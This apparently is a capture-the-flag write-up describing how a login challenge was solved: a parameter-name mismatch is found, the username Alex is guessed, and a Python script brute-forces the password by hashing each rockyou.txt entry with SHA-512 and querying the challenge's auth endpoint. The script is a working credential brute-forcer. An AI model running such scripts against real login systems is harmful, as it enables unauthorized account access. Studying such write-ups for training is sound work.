After inspecting the source code of the original website and the contents of the url after a login attempt, we notice the original website used “name” and the auth endpoint uses “username”, so we change username to name and get “Invalid username”

Then we try some usernames manually and realize the correct username is Alex. Now all we need to do is brute-force the password:

```
import requests
import hashlib
password_file = "rockyou.txt"

def attempt_login(password):
    hashed_password = hashlib.sha512(password.encode('utf-8')).hexdigest()
    url =
f"http://35.246.227.46:32711/auth?name=416c6578&password={hashed_password}"  #
Construct the URL with username and hashed password
    response = requests.get(url)
    if "Invalid password" not in response.text:
        print(f"Found password: {password}")
        return True
    else:
        return False

with open(password_file, 'r', encoding='utf-8', errors='ignore') as f:
    for line in f:
        password = line.strip()
        if attempt_login(password):
            break
```

After a bit of time we get the password.

Made with love by: AndreiCat